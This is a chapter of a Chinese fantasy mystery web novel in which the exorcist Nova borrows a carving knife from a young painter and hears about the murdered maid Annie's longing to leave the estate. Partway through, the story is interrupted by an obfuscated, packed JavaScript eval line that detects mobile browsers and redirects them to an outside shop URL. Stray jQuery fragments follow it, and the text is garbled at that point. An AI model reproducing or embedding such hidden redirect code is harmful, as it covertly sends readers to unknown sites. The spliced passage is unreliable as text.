9.愿你越过你的群山/MayYouCrossYourMountains
艺术家的小楼在大别墅旁边，没有那么金碧辉煌，但修得很典雅。诺瓦一进去，便见到一个年轻女佣正在走廊里擦地。女佣听到声音，抬起脸来：“您是……？”
“我是昨天刚到的驱魔人。”诺瓦说，“那个画师学徒……叫做艾弗，是在这里吧？”
“哦，他是住这里。”女佣说，“不过，他刚刚又出去写生了。听说好像是去祷告室？您要找他的话，还是快点去吧。”
“谢谢您。”诺瓦又向祷告室奔去。
祷告室恰好在大别墅和艺术家小楼之间，诺瓦还没有去过。她站在祷告室的门前踌躇了一会，确认里面没有在进行什么严肃的活动，悄悄推门进去。
推开门的那一瞬，温和的光海淹没了她。
祷告室修得很通透，尽头的彩绘花窗色泽瑰丽，大窗户整齐地排布在两侧，更高的地方有镂空的花窗格。澎湃的光线淌流而下，金色的碎屑在水波中浮游，连贝壳白的墙壁都晕着淡淡的光泽。
阳光大片大片地泼在祷告室里，又被空荡荡的排排座位切成一条条川流。诺瓦扫视四周，终于在靠墙位置的座位发现了那顶着卷曲头发的脑袋。
诺瓦走近，从长椅的另一边望过去，只见艾弗将速写本放在膝盖上，正低着头画些什么。诺瓦不禁放轻了脚步，径直走到艾弗身边。这一刻，诺瓦的影子倏然落在纸张上，她把光挡住了。
聚精会神的艾弗抬起头来，看着诺瓦迷惘了一瞬，随即反应过来：“是你呀，艾恩代尔来的驱魔人……昨天我好像没有问你的名字。有什么事吗？”
“我是诺瓦·维里安……不好意思，没有打扰到您吧？”诺瓦见到艾弗摇头，放下心来，“我们执行长要我做一些用于驱魔的木桩，需要在木桩上刻下特定的符文，但我没有刻刀，请问您有吗？”
“有。”艾弗说，“如果您需要的话，我可以借给您。”
“是吗！太感谢您了。”诺瓦面露喜色。
“嗯嗯，但是，现在请您向边上靠过去一点，再等我两分钟，我快要画完了。”艾弗摆摆手示意她走开，“要是等下次再画，就不一定是这样的光源了。”
“噢！好的。”诺瓦说着，向外挪了一步，瞥见自己的影子已经不在他的速写本上了。
她沉默地等待着，顺着艾弗偶尔抬头远望的视线，发现他正在画祷告室顶上的花窗格。那里有常春藤从白色的窗格中近乎狂乱地生长而出，极度繁盛的枝叶在金灿灿的阳光下，宛如色彩浓烈的油彩画。
诺瓦想起米切尔说过的话，要好好享受她打理的这个庄园……大概就是这样吧。
就在她出神的时刻，艾弗合上本子站了起来，手在腰间挂着的旧布上擦了擦，留下一道乌黑的印子，他哀怨地叹一口气，给诺瓦看沾在掌侧黑得发亮的炭灰：“您瞧，我们画画的总是弄成这个样子。”
没等诺瓦回答，他又说：“走吧，我带您去画室。”
“麻烦您了。”诺瓦感激地说，跟在艾弗的身后离开了祷告室。
————
“你要是再晚几分钟到祷告室，就找不到我啦。”艾弗带着诺瓦在楼梯上前进，“我画完了，就会去别的地方。”
“会去哪呢？”诺瓦问。
“我也不知道，看心情。”艾弗思考着，“嗯……哪里顺路就去哪里？见到值得画的景象就停下来。——到了，是这里。”艾弗停在一个房间面前，推开门，是一个乱糟糟的画室，“特纳先生不在。”
“特纳先生？”诺瓦感觉这个名字有些熟悉。
“我的老师。侯爵夫人雇佣的是他啦，我只是赠品。”艾弗走到角落里的水池边，打开水龙头洗手，懒散的声音碎在水声里。
诺瓦想起来了：“……是不是在雇农宿舍呕吐的那个？所以才叫你去画现场。”
“是他。”艾弗说起来也觉得有些好笑，“他平日里古板又严苛，一点点小差错他都要说得特别严重，结果关键时候一点也靠不住。大家都笑话他。”
艾弗洗完了手擦干，钻到一边高大柜子里翻找：“我刻刀用得不多，等我找找。你先随便看看吧。”
“好。”诺瓦说。
她在画室里随意走动，慢悠悠地环视四周。
这里摆着好几个画架，每个画架上都是只画了一半的作品。一边的大桌子上，堆着各种形状的调色板，上面的颜料大多已经干涸龟裂。至于画本，更是左一堆右一堆，有的已经堆得很高，摇摇欲坠，诺瓦根本不打算去碰。
她坐在桌前的椅子上，摸了摸前面的速写本，下意识地想要打开，但在翻开之前还是问了一句：“我可以看这个吗？”
“请便，这里又没有什么机密。”艾弗的声音传来，他根本没管诺瓦说的“这个”是什么。
诺瓦翻看着速写本，这本应该是艾弗的，里面的画作和刚刚在祷告室里的类似，都是用炭笔画的速写。虽然诺瓦未曾见过画作中的景象，但她猜测是庄园里的一隅。
又一页翻过，一个女孩的形象出现在画里，是这本画册里少有的肖像画。画得不算很精细，但很有神，该怎么说呢……是那种很薄、很淡的女孩。
诺瓦继续翻看，这个女孩的形象断续出现。她有一种莫名的感觉……她也许知道这个女孩是谁。
“找到了。”艾弗的声音再度传来，他回过身来，飞快地扑到了诺瓦旁边的椅子上。他抱着椅背反坐着，将刻刀递给诺瓦：“给。”
“啊，谢谢。”诺瓦接过，收在口袋里。
艾弗将下巴垫到椅背上，向前凑了凑，看清了诺瓦在看的画：“这是安妮·莱利。你们今天不是问了她嘛。”
“猜到了。你画了好多她的画。”诺瓦会心一笑，一边翻页一边说，“不过，今天上午你来的时候，看起来好像和她没有那么熟。”
“是她让我画的啦。”艾弗说，“她说，她身体不好，说不定年纪轻轻的就会死掉，想要留下一些画面。如果我一时半会没有什么好画的，就画她好了。”
诺瓦翻页的手顿了一下。她知道安妮的身体不太健康，但时刻担忧顾虑，甚至于准备自己的死亡，就有点过于夸张了。
艾弗注意到诺瓦的停顿，抬起眼来与她对视。他说：“我可没对你们有意隐瞒！我只是觉得这些画对你们查案没用，我自己都不清楚画了多少了。”
“我没有这个意思。”诺瓦轻声说，“这样说你的朋友，我很抱歉，但我确实觉得……她表现出太多的畏惧了。她是在畏惧什么呢？”
“不就是畏惧去侯爵夫人那里服侍、畏惧死亡吗？”艾弗说，“我已经说过了，其他人应该也已经说过了。”
“我知道，可就是因为这样，所以才觉得不合常理。”诺瓦说。
“表现出来的事实就是这样，你不信也没办法啦。”艾弗直起腰来，耸了耸肩。
事实？诺瓦无言，只是因为这一系列事实难以解释……所以才显得所谓的事实像是假的呀。
——不要相信她的解释。诺瓦忽然想起艾弗昨天说的话，一瞬震颤。
身体不好、畏惧去侯爵夫人处服侍、忧惧死亡，这些事实，是从安妮的母亲，从庄园医生，从艾弗口中说出来的，已经经过了多重的验证。如果再去问更多的人，也很难推翻。
不需要去否认这些事实，要否认的只是已有的解释。
要否认的，不是安妮不想去服侍侯爵夫人，而是安妮回答的“为什么不想去服侍侯爵夫人”。要否认的，不是安妮畏惧死亡，而是要去回答，安妮为什么畏惧死亡。
“嗯？想起什么了？”艾弗歪头。
“不……”诺瓦摇摇头，“如果您不介意的话，可以多说些她的事情吗？”
“可以呀。”艾弗说，“有什么要问的吗？没有我就随便讲啦。”
“嗯。”诺瓦应道，“如果有不明白的，我再问。”
“好。”艾弗又把下巴垫在了椅背上，娓娓道来，“其实说起来……我和她也没有特别熟，因为我是去年冬天才第一次来到这个庄园的，来的时间不算久。平时，我把老师使唤我的活干完，再把老师布置的练习画完，我就会跑出去写生。
“这里风景很好，有山有水，有动物，也有人，值得画的有很多。我抱着本子到处乱跑，走到哪里画到哪里。”艾弗顿了顿，“那个时候，我来庄园没多久，到处都不熟悉，不知不觉就走到了车站。我看见她站在空荡荡的月台上发呆。”
“车站？她是要去艾恩代尔吗？”诺瓦问。
“不是。”艾弗摇头，“那天确实是米切尔去艾恩代尔采购的日子。但那时已经将近傍晚，火车已经走了很久了。我也很奇怪，于是问她在做什么。
“她表现得很尴尬，说得语无伦次的，好半天我才听懂。她想去艾恩代尔，但火车上的人都是去艾恩代尔办正事的，她没有理由去，于是站在月台上想象自己跟着米切尔一块走了。”艾弗微笑着，“她很想去大城市看看。”
“她……去过艾恩代尔吗？”诺瓦问。
“没有。”
“……她连庄园都没有出过？”
“没有。”
诺瓦沉默了。她原本以为自己在艾恩代尔分会的生活已经很狭小了，但在开放日，偶尔也有和同伴外出的日子。而这个庄园不过百余人，那个女孩已经在这里过了十六年。
“她从有记忆开始就在这里，到死都没有出去过。”艾弗轻声说，“我刚来的时候，她身体状况还要好一些，有时候还会骑马去山林走走。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17628245|206044||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“是塞勒斯先生带我们走的近道吗？”诺瓦意识到当时艾弗并不在场，补充道，“就是从车站到庄园的那段……”
“是那一片，塞勒斯先生有时会去打猎。”艾弗说，“安妮跟我说，她很想离开这里，但离开的唯一一种方式，就是那永远不会让她上车的火车。
“除了那条延伸的铁路，从庄园向周遭望去，只能看见层叠的群山。不是很高，但依旧难以翻越；而且绵延不绝，翻过一座，还有一座又一座，似乎永远都没有尽头。”艾弗说，“我忘记她具体是怎么说的了，但是大意如此。”
艾弗停顿了片刻，继续说下去：“我说过了，我和她其实并没有那么熟，不会整天见面。但她很信任我，因为我很贴心嘛。”说到这里，他很得意地扬起下巴，“我们都是偶然遇见，她会说一些类似的伤感的话。我嘛，她说什么我就接什么，我什么都能说。
“后来有一次，她见我到处写生，问我可不可以画她。不用画得多好，也不用多么刻意，如果没有什么好画的，就去画她好了。”艾弗说，“我答应了她。我其实不在乎画什么内容，说白了，都只是练习而已。”
诺瓦想起了什么，问道：“你刚刚说，你刚来的时候，她的身体状况要稍好一点。难道是后来情况恶化了，她才要你画她吗？”
“嗯……”艾弗摸着下巴稍作回想，“我当时没有注意，可能有这种原因吧。她说，如果她死了——在还没有去过任何地方的时候就死了，在还没有创造出任何值得铭记的东西之前就死了，这些画至少能记住她。这么一说，好像确实和‘死’有关。”
“那具体是什么时候的事？”诺瓦问道。
“1月份吧，具体是哪天不记得了。那时候下了点小雪，是这里最冷的日子了。”艾弗说。
“再然后呢？”
“然后就这样，她继续在那间宿舍里，每天扫扫走廊，擦擦柜子，偶尔有时间我就给她画画。一直到五天前，她突然被吸血种杀死了。”艾弗说。
“……”戛然而止的故事让诺瓦一时失语。她思索片刻，道：“如果让你来说，你觉得她是怎样的人呢？”
“我觉得她适合当哲学家！”艾弗振声道，“好吧，认真点说，她确实和这里的很多人都不一样。这里是贵族的庄园，而且是仅供贵族度假的庄园，即便是雇农，活计也比外面的轻松很多。只要把庄园打理好，等待侯爵夫人到来就好了。
“就算外面在发生剧烈的变化，很多人依旧只想在这里安宁地过一辈子，永远不碰外面的事情。”艾弗说，“现在出了吸血种杀人事件，他们的第一反应是把那个吸血种揪出来解决掉，让这里重新归于和平。安妮却是少有的想要离开这里的人，她想很多，她不喜欢这里。”
“那你是怎么想的？”诺瓦突然问。
“我？我当然很喜欢这里。”
“为什么？”
“这里很适合写生呀。”
“……我不是指这个。”诺瓦扶额，“如果你是长期居住在这里的人，或者干脆就是在这里出生的人，你想永远在这里生活吗？”
“不想。”艾弗答得很干脆。
“为什么？”
“因为我不是在这里出生的人，我是从卡斯特尔家坐着火车过来的，不懂他们的心情。”艾弗说得理所应当，“但我要说明白，这座庄园之所以能是这样田园牧歌的景象，只是因为背后有卡斯特尔家的支持而已。如果哪天侯爵夫人不想再来温泉疗养了，整座庄园就没有存在的必要了。它的存在本身就是偶然，难道要期待这种偶然永远存在吗？”
诺瓦讶异：“你还……挺有见解的。”
“算是耳濡目染吧。老师是艺术家，像侯爵夫人之类的大人物，喜欢找他聊一些深奥的话题。虽然老师只会念书本上的东西，但大家都觉得和艺术家聊天会显得自己也很深邃！”艾弗笑了笑，随后他沉默片刻，“不过，比起我自己，我倒是觉得安妮那样，仅仅是凭借本能和愿望就想离开，是一件非常英勇的事。她是我见过的最为英勇不屈的灵魂。”
好庄重的评价！诺瓦揶揄道：“大艺术家这样评价莱利小姐，却不这样评价那些大人物吗？”
“你要是不说出去，我还能骂他们两句咧。他们让我干活的时候，要求稀奇古怪。”
诺瓦立马接话：“我不说，你骂吧。”
“我才不信你。”艾弗哼哼唧唧地说，“还有别的要问吗？”
“没有了。”
“那就拿着刻刀走吧，别打扰我了，我还有很多事要做。”艾弗摆着手，“快走快走。”
“不打扰你了。”诺瓦将画本合上放好，起身道，“谢谢你的刻刀。”
她出门的时候，艾弗懒洋洋的声音再度传来：“刻的时候记得刀刃斜着走，会比较省力……”